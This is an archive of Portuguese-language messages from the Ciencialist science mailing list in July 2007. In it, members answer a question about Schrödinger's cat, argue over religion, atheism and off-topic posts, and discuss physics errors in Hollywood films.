1) Postei esta mensagem em meu Outlook as 20 horas e, por motivo que
ignoro, não apareceu na Ciencialist, logo estou repostando em página
web.

2) O Emiliano serviu para me desmentir no que diz respeito
a "resposta satisfatória" [vide
http://br.groups.yahoo.com/group/ciencialist/message/64680].
Felizmente ainda existem alguns elementos
notáveis da época em que a Ciencialist era uma lista de Ciência e não
de pichações e/ou de lisongeios, fatuidades, presunções, imodéstias,
despudores e outros "quetais".

Fui novamente, mas permanecerei de olho pois, apesar de tudo,
respeito e admiro muito a história pregressa da Ciencialist e
acredito na sua reintegração (talvez quando o Brudna voltar da
França).

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.




SUBJECT: Re: Gato de Schoroedinger e a proteção de Satã
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/07/2007 07:17

----- Original Message -----
From: "oraculo333"
Sent: Saturday, July 28, 2007 10:49 PM
Subject: [ciencialist] Re: Gato de Schoroedinger e a proteção de Satã


> E como esta é uma lista de ciência, e não de ateísmo,
> ou de qualquer fé, e como pretendemos preservar a
> sensibilidade de eventuais satanistas que a
> freqüentem (e vice versa), é melhor evitar qualquer
> manifestação de superstições e crenças, me parece..:-)

Concordo mas não é isto que flagro em uma centena (talvez milhar) de
mensagens que tem sido aqui postadas (por você inclusive). E é por
isso que faço questão de afirmar que sou agnóstico, pois esse ateísmo
que vocês professam é da pior qualidade, uma verdadeira afronta aos
amantes da ciência. Não vejo diferença nenhuma entre esse ateísmo
tosco, grosseiro e rudimentar e a religiosidade ingênua e inerente ao
homem das cavernas.

PS1: Não responderei a sua possível réplica pois o assunto foge do
âmbito da Ciencialist e eu não vim aqui com a finalidade de aparecer
mas apenas de protestar contra mensagens ou réplicas a mensagens
deste gênero (há quase um ano não faço outra coisa a não ser enviar a
grande maioria das mensagens da Ciencialist para a lixeira).

PS2: Se alguém desejar saber mais sobre o que penso a respeito sugiro
que leia "Ciência, materialismo e espiritualismo" a partir de
http://www.ecientificocultural.com/ECC2/Dialogos/cmee.htm

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.



SUBJECT: Re: [ciencialist] Gato de Schoroedinger
FROM: "Shridhar Jayanthi" <jshridhar@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/07/2007 09:40

Complementando o e-mail do Homero:

A razão pela qual se utiliza um decaimento radiativo como gatilho está
relacionado ao fato de que vemos também como a probabilidade influência as
medições e o resultado.

O decaimento radiativo se comporta de acordo como uma distribuição de
Poisson no tempo. Se integrarmos no tempo todo (infinito), a probabilidade
de o decaimento ocorrer é 1, mas se pegarmos um infinitesimal, a
probabilidade é muito pequena. Além disso, quanto mais tempo passa de
iniciado o experimento, a probabilidade do decaimento ocorrer/ter ocorrido
aumenta (a caixa está fechada e não temos a informação sobre o estado do
decaimento após o início do experimento). Como existe uma relação direta
entre o decaimento ocorrer e o gato morrer, a morte do gato é a medição do
ocorrido. Mas como não vemos o gato, não temos como saber qual é o estado do
gato até abrirmos a caixa e observarmos o gato. Então até abrirmos a caixa,
o gato tem chance x de estar vivo e 1-x de não estar vivo. Se tivermos que
descrever um estado para o gato no tempo atual, teríamos que falar que ele
está vivo e morto ao mesmo tempo.

Isso exemplifica alguns paradigmas da física quântica. Por exemplo, a
questão da característica dual do fóton. O fóton se comporta como onda em
alguns experimentos e como partícula em outro. Uma interpretação é que o
fóton "é as duas coisas" (mais ou menos como o gato estar vivo e morto) mas
que o experimento (abrir a caixa depois de 10 segundos vs. abrir a caixa
depois de um tempo infinito) vai determinar o que veremos.

Shridhar



On 7/28/07, SILVIO CORDEIRO <scordeiroes@superig.com.br> wrote:
>
> Mestre Takata: a função de coordemador foi extinta?
> qual a cor da tinta?
>
> sds.,
> silvio.
>
> ----- Original Message -----
> From: Alvaro Augusto (L)
> To: ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>
> Sent: Saturday, July 28, 2007 7:40 PM
> Subject: Re: [ciencialist] Gato de Schoroedinger
>
> "A graça do nosso senhor Jesus Cristo, o amor de Deus e a comunhão do
> Espírito Santo estejam com todos vós". (II epístola de Paulo aos
> Coríntios,
> 13, 13).
>
> Para uma primeira mensagem nesse grupo, a assinatura veio recheada de um
> lamentável oportunismo!
>
> [ ]s
>
> Alvaro Augusto de Almeida
> http://www.alvaroaugusto.com.br
> alvaro@lunabay.com.br <alvaro%40lunabay.com.br>
>
> ----- Original Message -----
> From: "Luiz Ferraz Netto" <leobarretos@uol.com.br<leobarretos%40uol.com.br>
> >
> To: <ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>>
> Sent: Saturday, July 28, 2007 5:32 PM
> Subject: Re: [ciencialist] Gato de Schoroedinger
>
> Assunto: RES: [ciencialist] Gato de Schoroedinger
>
> J. Victor: O que significa isso, num fórum de ciências, como este?
>
> "Gratia Domini Iesu Christi et caritas Dei et communicatio Sancti Spiritus
> cum omnibus vobis."
>
> Léo: É o último espasmo para entender o gato de Schoroedinger! Tem até
> 'ônibus' na invocação! E, o pior de tudo, por que não se dirigiu
> diretamente
> a mim?
>
> []'
>
> ##### ##### #####
>
> Página de apoio
> http://www.ciencialist.com
>
> ##### ##### ##### #####
> Links do Yahoo! Grupos
>
> [As partes desta mensagem que não continham texto foram removidas]
>
>
>


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RES: [ciencialist] Re: Gato de Schoroedinger e a proteção de Satã
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 29/07/2007 09:44

Olá,



Embora me arrisque a tomar outro pito do Takata, preciso dizer algo a
respeito, vez que também ousei produzir, em pouco número, é verdade,
algumas das coisas criticadas. Além do mais há um pedido sincero de
desculpas ao Marcus, ao final.



Mesquita: ”..., pois esse ateísmo
que vocês professam é da pior qualidade, uma verdadeira afronta aos
amantes da ciência”.



Victor: E o que seria um ateísmo de boa qualidade?

O que alguns, poucos, têm discutido por aqui, até onde tenho lido, mesmo com
o risco de tomar porrada do nobre samurai Takata, são argumentos de que
ciência e religião nada têm a ver uma com a outra. E nestas breves incursões
clandestinas, alguns têm expressado suas descrenças a respeito de coisas
relacionadas à espiritualidade. Se são ateus, ou não crentes, ou que outro
nome se dê, é uma questão para o freguês que está lendo. Alguns se dizem
agnósticos, como você; outros professam suas crenças, nesta ou naquela
orientação espiritual. Não vejo nenhum problema nisso. E mesmo que visse,
isto não teria a mínima importância. Particularmente já disse, e reafirmo
com mais ênfase ainda, que quem tem suas convicções, crê nelas, seja-lhes
fiel, e, então, toque o barco para adiante, sem olhar para trás, que lá não
tem volta. Afinal, quem sabe de si é o próprio si.

O que tenho, em particular, criticado, e vou continuar fazendo, só espero
que com “boa qualidade”, é que ambas as linhas de pensamento, religiosa e
científica, fiquem, cada uma em seu lugar. Pois não há qualquer ligação
entre elas. E que numa lista essencialmente científica(ao menos deveria
sê-lo) coisas do tipo que questionei, sem qualquer intenção de magoar ou
agredir quem quer que seja, sejam evitadas. Está certo que o autor da
mensagem é novato na lista –e não levei isso em consideração- talvez ele não
soubesse dessas posturas e, por isso, não achou nada demais postar o texto
em latim. Pois entendo que veteranos não fariam algo assim. Há ambientes
específicos, dedicados ao mister. Não aqui (repito: ao menos não deveria).
Acho que as discussões que têm surgido, inclusive umas poucas de minha
autoria, não têm sido ateístas, nem destinadas a professar isso, que
professar ou pregar esse tipo de coisa é tão idiota quanto o contrário.

Particularmente, e para finalizar, embora não deva importar a ninguém,
apenas a mim, que:

a) Não sou agnóstico, pois significa ficar em cima de um muro que nem
existe, o que é uma posição pessoal e filsófica(para quem gosta disso) que,
há muito, desadotei, sem medo de ir para o inferno;

b) Não sou ateu, pois nada existe para que, em minha particularíssima
opinião, em cuja crença, justifique-se o significado dessa palavra : Ateu sm
(gr átheos) Indivíduo que não crê na existência de Deus; ateísta. fem:
atéia. Antôn: deísta.

c) Por isso, entendo que é deplorável que alguém viva tentando
convencer outra parte de que Deus não existe, que Deus existe, ou outra
coisa.

d) Está certo que, nos últimos 12 ou 18 meses, muita porcaria tem caído
por aqui. Porcaria nesse sentido: porcaria meeesmo! No que toca a mim,
contudo, o Outlook tem resolvido: lixeira. Contudo, outros “lixos” sobre o
assunto ora enfocado, que alguns de nós têm exposto por aqui, não podem ser
considerados assim, com essa franciscana e definitiva simplicidade. Pois
não são. Estes, apenas têm tentado mostrar que as duas são áreas do
conhecimento inteiramente diferentes, sem link possível. Ou há link? De
jeito algum tenho identificado pregações pró ou contra o que quer que seja.
Exceto pelas repulsas às posturas de alguns de nós.



Em vista do exposto, peço ao autor da postagem em latim, que me desculpe. Eu
não quis ofendê-lo.

Afinal, lembro agora, coisas muito piores, deploráveis, sem qualquer
ligação com ciência, já forma postadas por aqui, farta e longamente
discutidas, com pouquíssimos e irrelevantes “pios”. De forma que você,
novato, não cometeu nenhum pecado, nem venialzinho que seja.



Particularmente, considero a analogia do gato de Schoroedinger ridícula, à
qual tem-se dado uma atenção desproporcional. Não me aventuro a discutir
coisas que a nada minimamente proveitoso poderemos chegar. Fazer analogias
entre coisas do mundo atômico, que tem um comportamento específico e
diferenciado, com coisas do mundo macroscópico, embora sendo constituído de
ingredientes do mundo atômico, querendo disso inferir verdades essenciais,
é, no mínimo, um equívoco. Sobre o que muita coisa tem sido escrita, sem,
contudo, levar a nada. Como não deveria deixar de ser. Outro exemplo é o do
mal afamado e falso paradoxo dos gêmeos. São sistemas de referências
diferentes. Cada coisa deve ser analisada dentro de seus limites de atuação.
É difícil compreender algo tão elementar assim? Se, com o tempo, janelas
linkando as áreas se abrirem, então tudo bem, as razões por assim aconteceu
serão esclarecidas nos posteriores desenvolvimentos a que o fato deu causa..
Mas não necessariamente no mesmo contexto. Querer o contrário, paciência.
Não é assim, em física.

Infelizmente, até o momento, contudo, não se mostrou que as teorias de micro
e do macro sejam conversíveis uma na outra. A única coisa de que se tem
certeza é o fato de que as atuais são casos particulares daquelas.

´

E claro que, a reboque dessas posturas equivocadas, vem isto: confusão
mental. E os nós que são dados não são fáceis de serem desatados. E haja
malabarismos, para justificações e mais que tais! Por outro lado, o bom é
que isto pode conduzir a posturas de reposicionamento:

a demonstração de que quem aceita coisas assim simplesmente deixou de
abiscoitar as essencialidades do mister. Mas sempre há tempo, embora tempo é
coisa que a vida tem bem pouquinho, quase chegando a nada.



Sds,

Victor.







De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Alberto Mesquita Filho
Enviada em: domingo, 29 de julho de 2007 07:18
Para: ciencialist@yahoogrupos.com.br
Assunto: [ciencialist] Re: Gato de Schoroedinger e a proteção de Satã



----- Original Message -----
From: "oraculo333"
Sent: Saturday, July 28, 2007 10:49 PM
Subject: [ciencialist] Re: Gato de Schoroedinger e a proteção de Satã

> E como esta é uma lista de ciência, e não de ateísmo,
> ou de qualquer fé, e como pretendemos preservar a
> sensibilidade de eventuais satanistas que a
> freqüentem (e vice versa), é melhor evitar qualquer
> manifestação de superstições e crenças, me parece..:-)

Concordo mas não é isto que flagro em uma centena (talvez milhar) de
mensagens que tem sido aqui postadas (por você inclusive). E é por
isso que faço questão de afirmar que sou agnóstico, pois esse ateísmo
que vocês professam é da pior qualidade, uma verdadeira afronta aos
amantes da ciência. Não vejo diferença nenhuma entre esse ateísmo
tosco, grosseiro e rudimentar e a religiosidade ingênua e inerente ao
homem das cavernas.

PS1: Não responderei a sua possível réplica pois o assunto foge do
âmbito da Ciencialist e eu não vim aqui com a finalidade de aparecer
mas apenas de protestar contra mensagens ou réplicas a mensagens
deste gênero (há quase um ano não faço outra coisa a não ser enviar a
grande maioria das mensagens da Ciencialist para a lixeira).

PS2: Se alguém desejar saber mais sobre o que penso a respeito sugiro
que leia "Ciência, materialismo e espiritualismo" a partir de
http://www.ecientificocultural.com/ECC2/Dialogos/cmee.htm

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Gato de Schoroedinger
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 29/07/2007 11:56

Independente do credo? E por que citou a santíssima trindade?

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Marcos Ludwig" <reinada@gmail.com>
To: <ciencialist@yahoogrupos.com.br>
Sent: Saturday, July 28, 2007 8:38 PM
Subject: Re: [ciencialist] Gato de Schoroedinger


> Para uma primeira mensagem nesse grupo, a assinatura veio recheada de um
> lamentável oportunismo!

Esse grupo não é sobre ateísmo, e a mensagem desejava o bem a todos,
independente do credo. Cadê o "lamentável oportunismo"?

--
Marcos Ludwig
[ marcosludwig@gmail.com (GTalk/MSN) ]
[ www.sentinelas.org/reinada ]


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http://www.ciencialist.com


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SUBJECT: Re: Gato de Schoroedinger e a proteção de Satã
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/07/2007 17:26

Olá Alvaro

Alvaro: "Concordo mas não é isto que flagro em uma centena (talvez
milhar) de mensagens que tem sido aqui postadas (por você inclusive).
E é por isso que faço questão de afirmar que sou agnóstico, pois esse
ateísmo que vocês professam é da pior qualidade, uma verdadeira
afronta aos amantes da ciência."

Pode ser, pode não ser, mas em todo caso você tem direito a sua
opinião sobre meu ateísmo.

Alvaro: "Não vejo diferença nenhuma entre esse ateísmo tosco,
grosseiro e rudimentar e a religiosidade ingênua e inerente ao homem
das cavernas."

Eu vejo, mas, de novo, todos temos direito a opinião a respeito.

Alvaro: "mas apenas de protestar contra mensagens ou réplicas a
mensagens deste gênero (há quase um ano não faço outra coisa a não ser
enviar a grande maioria das mensagens da Ciencialist para a lixeira)."

Neste caso concordo com você, totalmente. Mas penso que a origem desse
problema, que inclusive nos faz enviar mensagens a lixeira, não é
responsabilidade dos "ateus", "cientistas de mente fechada", etc, que
nunca começam uma discussão desse teor, mas dos que crêem, inclusive
com assinaturas que declaram claramente sua posição de fé e que
resultam em mensagens como esta.

Pois foi justamente essa percepção, idêntica a sua, que me fez
escrever contra a assinatura.

Se ninguém começar a falar de fé e crenças diversas, a lista pode
voltar aos bons tempos, onde se discutia ciência e se aprendia um
bocado com os co-listeiros.

Observe que, para quem já tem todas as respostas (e fé em sua
verdade), qualquer debate é inútil e um tanto irrelevante.

Salvo engano, não vai encontrar nenhum desses debates com mensagens
que envia para o lixo iniciadas a partir de um "ateismo militante",
mas sim a partir de uma fé declarada.

Eu, pessoalmente, só postei respostas nestes casos, nunca uma proposta
inicial ou desafio. E não assino minhas mensagens com "deus não
existe, seus bobos de fé", por exemplo. Por outro lado perdi a conta
das vezes que fui chamado de "ateu tolo e de mente fechada"..:-)

Um abraço.

Homero




--- Em ciencialist@yahoogrupos.com.br, "Alberto Mesquita Filho"
<albmesq@...> escreveu
>
> ----- Original Message -----
> From: "oraculo333"
> Sent: Saturday, July 28, 2007 10:49 PM
> Subject: [ciencialist] Re: Gato de Schoroedinger e a proteção de Satã
>
>
> > E como esta é uma lista de ciência, e não de ateísmo,
> > ou de qualquer fé, e como pretendemos preservar a
> > sensibilidade de eventuais satanistas que a
> > freqüentem (e vice versa), é melhor evitar qualquer
> > manifestação de superstições e crenças, me parece..:-)
>
> Concordo mas não é isto que flagro em uma centena (talvez milhar) de
> mensagens que tem sido aqui postadas (por você inclusive). E é por
> isso que faço questão de afirmar que sou agnóstico, pois esse ateísmo
> que vocês professam é da pior qualidade, uma verdadeira afronta aos
> amantes da ciência. Não vejo diferença nenhuma entre esse ateísmo
> tosco, grosseiro e rudimentar e a religiosidade ingênua e inerente ao
> homem das cavernas.
>
> PS1: Não responderei a sua possível réplica pois o assunto foge do
> âmbito da Ciencialist e eu não vim aqui com a finalidade de aparecer
> mas apenas de protestar contra mensagens ou réplicas a mensagens
> deste gênero (há quase um ano não faço outra coisa a não ser enviar a
> grande maioria das mensagens da Ciencialist para a lixeira).
>
> PS2: Se alguém desejar saber mais sobre o que penso a respeito sugiro
> que leia "Ciência, materialismo e espiritualismo" a partir de
> http://www.ecientificocultural.com/ECC2/Dialogos/cmee.htm
>
> [ ]´s
> Alberto
> http://ecientificocultural.com/indice.htm
> Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
> coulombiana e a Terra se move. E a história se repetirá.
>




SUBJECT: Re: [ciencialist] Gato de Schoroedinger
FROM: "Marcos Ludwig" <reinada@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/07/2007 18:11

Em 29/07/07, Alvaro Augusto (L) <alvaro@lunabay.com.br> escreveu:
>
> Independente do credo? E por que citou a santíssima trindade?

Devido ao off-topic, a mensagem está sendo respondida em privado.

--
Marcos Ludwig
[ marcosludwig@gmail.com (GTalk/MSN) ]
[ www.sentinelas.org/reinada ]


SUBJECT: Re: [ciencialist] Re: Gato de Schoroedinger
FROM: "Marcos Ludwig" <reinada@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/07/2007 18:17

Em 29/07/07, Alberto Mesquita Filho <albmesq@uol.com.br> escreveu:
>
> Caro Marcos
>
> Houve uma época em que a Ciencialist agia exatamente desta forma.
> Infelizmente isso aqui virou uma fogueira de vaidades e/ou território
> de xingamentos e quero crer que a "pergunta do rapaz" ficará sem
> resposta satisfatória.

Entendi. Este episódio demonstra que o que tu diz é verdade. Grato
pela consideração.

[]s
--
Marcos Ludwig
[ marcosludwig@gmail.com (GTalk/MSN) ]
[ www.sentinelas.org/reinada ]


SUBJECT: Re: Gato de Schoroedinger
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/07/2007 18:31

Olá Marcus

Marcus: "Entendi. Este episódio demonstra que o que tu diz é verdade."

Não exatamente, pois a pergunta do rapaz foi respondida, por mim e
pelo Shridhar, e penso que outros também o farão, logo após o final de
semana (o pessoal parece que tem outros afazeres de fim de semana..:-)

A discussão apenas se estendeu devido a assinatura, não por causa da
pergunta.

Um abraço.

Homero

--- Em ciencialist@yahoogrupos.com.br, "Marcos Ludwig" <reinada@...>
escreveu
>
> Em 29/07/07, Alberto Mesquita Filho <albmesq@...> escreveu:
> >
> > Caro Marcos
> >
> > Houve uma época em que a Ciencialist agia exatamente desta forma.
> > Infelizmente isso aqui virou uma fogueira de vaidades e/ou território
> > de xingamentos e quero crer que a "pergunta do rapaz" ficará sem
> > resposta satisfatória.
>
> Entendi. Este episódio demonstra que o que tu diz é verdade. Grato
> pela consideração.
>
> []s
> --
> Marcos Ludwig
> [ marcosludwig@... (GTalk/MSN) ]
> [ www.sentinelas.org/reinada ]
>




SUBJECT: Re: [ciencialist] Re: Gato de Schoroedinger e a proteção de Satã
FROM: "Marcos Ludwig" <reinada@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/07/2007 19:07

Em 28/07/07, oraculo333 <oraculo@atibaia.com.br> escreveu:
>
> Olá Marcus
>
> Marcus: "Esse grupo não é sobre ateísmo, e a mensagem desejava o bem a
> todos, independente do credo."

Devido ao off-topic, a mensagem está sendo respondida em privado.

--
Marcos Ludwig
[ marcosludwig@gmail.com (GTalk/MSN) ]
[ www.sentinelas.org/reinada ]


SUBJECT: Re: [ciencialist] Hollywood vs Ciência
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/07/2007 19:09

O primeiro (ou um dos primeiros) herói com namorado provavelmente foi
Alexandre, o grande. Tal relacionamento também existia no exército de
Tebas, ou entre os Espartanos, e vários outros. Quanto ao Batman ,
por culpa de uma piada do Coringa (dos quadrinhos, não o do cinema),
surgiu essa suspeita, cristalizada pelo diretor do Batman 3, Joel
Schumaker , que quase destruiu o personagem.

À parte essas abobrinhas:

Recomendo o filme "O Grande Truque", que gostei muito. Ceticismo e
credulidade são expostos tão a fundo, pelos personagens, que chega a
ser uma das coisas mais bacanas feitas nos últimos tempos. Coisa que
hollywood não faz há muito. Nota: Nicolas Tesla aparece, ajudando a
fazer o "grande truque".


Gil

Em 25/07/07, J.Victor<j.victor.neto@uol.com.br> escreveu:
>
>
> Takata,
>
>
>
> Minha opinião pessoal.
>
> A análise do autor do artigo é oportuna e valiosa, e vale para os iniciados
> em física. Mas só.
>
> Certamente o correto e proveitoso para o povo seriam filmes que
> apresentassem todas as cenas de modo a que os movimentos se enquadrassem nas
> leis da física. Mas, evidentemente, ficaria desinteressante; e os
> criadores de efeitos visuais, e agregados, malucos e divertidos, estariam
> desempregados. E o filme não daria resultados financeiros, os atores não
> ganhariam o suficiente, as companhias desistiriam. E nós, que gostamos de
> ser enganados, vez ou outra, ficaríamos sem diversão.
>
> Um filme é uma obra artística, sem ser, contudo, na maioria das vezes, arte.
> Como tal, tem a ver também com a representação, daquilo que vai pela cabeça
> do autor. Se este é tipo um Salvador Dali, aí danou-se tudo! Como num livro
> ou um quadro. Só que no filme há movimentos. Nesse sentido, o que dizer do
> livro e do filme: Alice no País das Maravilhas! Ou do filme Sangri-lá(não
> lembro se o nome é escrito assim). E do 24 Horas, com o salvador, meu herói
> mentiroso, Jack Bauer(será que não dava prá ele salvar o Brasil?), ou o
> 2001, uma Odisséia no Espaço? Isto sem falar nos filmes de desenho animado,
> que ainda hoje assisto com minhas princesas. Ficção é ficção,vale tudo, e
> ninguém tem que ficar fazendo contas para mostrar o óbvio, de que ninguém, e
> as bilheterias, querem saber.
>
> Ou seja, o autor do artigo tem razão, em sua lúcida análise. Mas, para o
> ideário popular, incluindo o dos intelectuais, que não são de ferro, é bom
> que continue como tudo está. Quem ainda não gosta daqueles filmes de caubois
> ou da série Guerra nas Estrelas? Duvido que ainda não os assistam hoje,
> mesmo os intelectuais , físicos renomados ou não e professores de ciência em
> geral! E que tem ali de científico? Não se pode assistir qualquer filme
> esperando que seja politicamente correto, todo encaixado como deve, uma aula
> de física! Seria chato prá caramba. Filmes científicos têm que ser filmes
> científicos, com nome e tudo, para alertar que não se trata do me engana que
> eu gosto, que é bom e todos gostam. E que só servem mesmo para estudantes e
> aficcionados da ciência. Ainda assim, nem todos tirarão o proveito desejado.
> E que dizer dos de Super-Homem ou Batman? Aliás, este último inaugurou
> essa de "macho" ter namorado, de aliança e tudo(se pensam que não,
> conversem com a Robin,o afetado mirim)? Vai colocar ciência ali!
>
> Filme é ficção, é divertimento, é passatempo. Vale tudo. Filme é apenas um
> conjunto de imagens em movimento, que são meras ilusões de ótica.
>
> Bem, comprei um novo filme da Barbie e vou assistí-lo agora.
>
>
>
>
>
> Sds,
>
> Victor.
>
>
>
> De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
> Em nome de rmtakata
> Enviada em: quarta-feira, 25 de julho de 2007 01:41
> Para: ciencialist@yahoogrupos.com.br
> Assunto: [ciencialist] Hollywood vs Ciência
>
>
>
> Efthimiou CJ & Llewellyn RA 2007 - Hollywood blockbuster - Unlimited
> fun but limited science literacy.
> "1 Introduction
> There is no doubt that Hollywood has become an established major
> source for entertainment in the lives of the citizens of the modern
> society. In the products of Hollywood (big screen movies, TV mini
> series, TV series, sitcoms, etc) amazing feats are presented by people
> supposedly the best in their fields. Great scientists find solutions
> to major scientific challenges, the best NASA employees save the Earth
> from the ultimate heavenly threats, the best soldiers defeat armies on
> their own, the best psychics solve criminal cases, the best
> parapsychologists manage to successfully investigate supernatural
> phenomena and so on. And of course we should not forget the laypersons
> who often save the day by finding solutions that scientists could not
> think of. Unfortunately all this is only great entertainment. When
> logic and science are used to decide if certain scenarios are
> consistent and plausible, usually the results are disappointing. The
> inconsistencies of the Hollywood products with science may come as a
> surprise to many people who simply accept what they see as realistic
> or, at worst, slightly modified from reality.
> In this article, we will examine specific scenes from popular action
> and sci-fi movies and show how blatantly they break the laws of
> physics, all in the name of entertainment, but coincidentally
> contributing to science illiteracy. Towards this goal, we assume that
> our reader has an understanding of algebra-based general physics."
> http://arxiv.org/PS_cache/arxiv/pdf/0707/0707.1167v1.pdf
> ------------------------
> []s,
>
> Roberto Takata
>
>
>
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>
>
>
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> http://www.ciencialist.com
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SUBJECT: Re: [ciencialist] Re: Gato de Schoroedinger e a proteção de Satã
FROM: "Marcos Ludwig" <reinada@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/07/2007 19:16

Em 29/07/07, Alberto Mesquita Filho <albmesq@uol.com.br> escreveu:
>
> Concordo mas não é isto que flagro em uma centena (talvez milhar) de
> mensagens que tem sido aqui postadas (por você inclusive). E é por
> isso que faço questão de afirmar que sou agnóstico, pois esse ateísmo
> que vocês professam é da pior qualidade, uma verdadeira afronta aos
> amantes da ciência. Não vejo diferença nenhuma entre esse ateísmo
> tosco, grosseiro e rudimentar e a religiosidade ingênua e inerente ao
> homem das cavernas.

Concordo com todo o parágrafo acima do Alberto. Também sou agnóstico,
e me desgosto com a "militância" e a "patrulha" de alguns ateístas
aqui na Ciencialist, como também a de outros fora dela.

Saudações,
--
Marcos Ludwig
[ marcosludwig@gmail.com (GTalk/MSN) ]
[ www.sentinelas.org/reinada ]


SUBJECT: Re: [ciencialist] Re: Gato de Schoroedinger e a proteção de Satã
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 29/07/2007 19:22

Por que vcs não assumem diretamente e explicitamente como eu o faço?

[]'

deus



SUBJECT: Re: [ciencialist] Re: Gato de Schoroedinger e o bem de todos
FROM: "Marcos Ludwig" <reinada@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/07/2007 19:32

Em 28/07/07, oraculo333 <oraculo@atibaia.com.br> escreveu:
>
> Para constar, eu não desejo que se deseje "meu bem" a partir de
> qualquer credo, em especial de credos cristãos, os mais daninhos que
> se tem notícia, em minha opinião.

Devido ao off-topic, infelizmente esta mensagem com o absurdo acima
está sendo respondida em privado.

--
Marcos Ludwig
[ marcosludwig@gmail.com (GTalk/MSN) ]
[ www.sentinelas.org/reinada ]


SUBJECT: Gerando luz através de osciladores.
FROM: "Luiz Antonio Picanço" <lpicanco@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/07/2007 19:35

Salve pessoal,

estive aqui pensando:

A luz é uma onda eletromagnética.
Se criarmos um transmissor de ondas eletromagnéticas que alcancem a
frequência relativa ao espectro visível da luz, conseguiríamos "ver" tal
emissão de ondas ?

--
Luiz Antonio Picanço
-----------
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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Gato de Schoroedinger
FROM: "Marcos Ludwig" <reinada@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/07/2007 19:36

Em 29/07/07, oraculo333 <oraculo@atibaia.com.br> escreveu:
>
> Olá Marcus
>
> Marcus: "Entendi. Este episódio demonstra que o que tu diz é verdade."
>
> Não exatamente, pois a pergunta do rapaz foi respondida, por mim e
> pelo Shridhar, e penso que outros também o farão, logo após o final de
> semana (o pessoal parece que tem outros afazeres de fim de semana..:-)

É verdade o que tu diz no que se refere à resposta da pergunta.

No entanto, eu me referia à parte de que "isso aqui virou uma fogueira
de vaidades e/ou território de xingamentos". Apenas à esta parte, que
demonstrou ser verdade neste episódio.
--
Marcos Ludwig
[ marcosludwig@gmail.com (GTalk/MSN) ]
[ www.sentinelas.org/reinada ]


SUBJECT: Re: [ciencialist] Re: Gato de Schoroedinger
FROM: "Marcos Ludwig" <reinada@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/07/2007 19:36

PS: Aprenda a escrever meu nome direito. ;-)

Em 29/07/07, Marcos Ludwig<reinada@gmail.com> escreveu:
> Em 29/07/07, oraculo333 <oraculo@atibaia.com.br> escreveu:
> >
> > Olá Marcus
> >
> > Marcus: "Entendi. Este episódio demonstra que o que tu diz é verdade."
> >
> > Não exatamente, pois a pergunta do rapaz foi respondida, por mim e
> > pelo Shridhar, e penso que outros também o farão, logo após o final de
> > semana (o pessoal parece que tem outros afazeres de fim de semana..:-)
>
> É verdade o que tu diz no que se refere à resposta da pergunta.
>
> No entanto, eu me referia à parte de que "isso aqui virou uma fogueira
> de vaidades e/ou território de xingamentos". Apenas à esta parte, que
> demonstrou ser verdade neste episódio.
> --
> Marcos Ludwig
> [ marcosludwig@gmail.com (GTalk/MSN) ]
> [ www.sentinelas.org/reinada ]
>


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Marcos Ludwig
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SUBJECT: P/ Marcos - Re: Gato de Schoroedinger
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/07/2007 19:51

Olá Marcos

Marcos: "PS: Aprenda a escrever meu nome direito. ;-)"

Ops, falha minha..:-) Peço desculpas, não acontecerá de novo..:-) Com
um nome como o meu, Homero, que quase todo mundo erra ou "esquece" o
H, eu compreendo sua preocupação..:-)

Tomarei mais cuidado daqui para frente, Marcos.

Um abraço.

Homero


--- Em ciencialist@yahoogrupos.com.br, "Marcos Ludwig" <reinada@...>
escreveu
>
> PS: Aprenda a escrever meu nome direito. ;-)
>
> Em 29/07/07, Marcos Ludwig<reinada@...> escreveu:
> > Em 29/07/07, oraculo333 <oraculo@...> escreveu:
> > >
> > > Olá Marcus
> > >
> > > Marcus: "Entendi. Este episódio demonstra que o que tu diz é
verdade."
> > >
> > > Não exatamente, pois a pergunta do rapaz foi respondida, por mim e
> > > pelo Shridhar, e penso que outros também o farão, logo após o
final de
